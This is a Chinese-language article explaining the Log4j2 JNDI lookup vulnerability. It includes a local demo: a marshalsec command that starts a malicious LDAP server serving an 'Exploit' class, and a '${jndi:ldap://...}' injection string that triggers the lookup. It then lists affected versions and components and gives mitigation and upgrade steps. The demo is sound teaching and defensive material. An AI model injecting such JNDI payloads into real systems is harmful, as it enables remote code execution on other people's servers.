可怕的漏洞
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。
作为 Java 日志界的扛把子,Log4j 和 logback 几乎一统了江湖,影响面不可谓不大,下面我们就来亲身用代码来体会一下这个漏洞。
此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者灵活的读取环境中的配置。
简单点说,就是 log.info(" " ) 这 行 代 码 中 , {}") 这行代码中, ")这行代码中,{} 里的变量可以被替换,但是参数内容未做严格的控制,导致这个漏洞的发生,下面我们来演示下这个漏洞。
首先我们使用 marshalsec 工具在本地启动一个 ldap 服务器:
java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8086/static/#Exploit 8888
然后在本地做一个小型的 Java 项目,使用 log4j2 打印一行神器的日志:
public static void main(String[] args) {
log.info("start");
String userName = "${jndi:ldap://0.0.0.0:8888/aaa}";
log.info("userName:{}",userName);
}
结果是:
2021-12-10 20:24:35,678 [main] INFO logger - start
2021-12-10 20:24:35,678 [main] INFO logger - userName:Reference Class Name: foo
打印的是后端 LDAP 服务器的输出,而不是一个正儿八经的字符串,这就很可怕了,这意味着攻击者可以自定义任何的恶意代码执行,只要业务系统代码中有变量的此类打印。
比如用户在登录页面上输入了类似 ${jndi:ldap://0.0.0.0:8888/Exploit} ,前后端没有做过校验,而后端又在日志中打印了 userName 变量的时候,就会触发这个漏洞。
然后我们再去 ldap 服务器上看,果然有这个请求发过来:
影响版本及开源组件
Log4j2.x <= 2.14.1
受影响的开源组件有:
- Spring-Boot-strater-log4j2
- Apache Struts2
- Apache Solr
- Apache Flink
- Apache Druid
- ElasticSearch
- flume
- dubbo
- Redis
- logstash
- kafka
修复方案
临时修复方案:
- 将系统环境变量 LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
- 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
目前 apache-log4j2 已发布正式版本 apache-log4j-2.16.0 ,强烈建议升级!
2.16.0 更新内容
默认禁用JNDI的访问,用户需要通过配置log4j2.enableJndi参数开启
默认允许协议限制为:java、ldap、ldaps,并将ldap协议限制为仅可访问Java原始对象
Message Lookups被完全移除,加固漏洞的防御
更多更新细节,可以通过官网查看:https://logging.apache.org/log4j/2.x/
Spring Boot用户如何升级
加入如下属性即可:
公司自己封装的框架如何升级
把下图的依赖 log4j-bom (log4j 统一管理版本的pom)加入到dependencyManagement 中:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-bom</artifactId>
<version>2.16.0</version>
<scope>import</scope>
<type>pom</type>
</dependency>
这样就不同先排包,再引入了,省去了很多步骤。
本文测试的相关资料在蓝奏云上:
https://wwa.lanzouo.com/iYBbBxgo8ij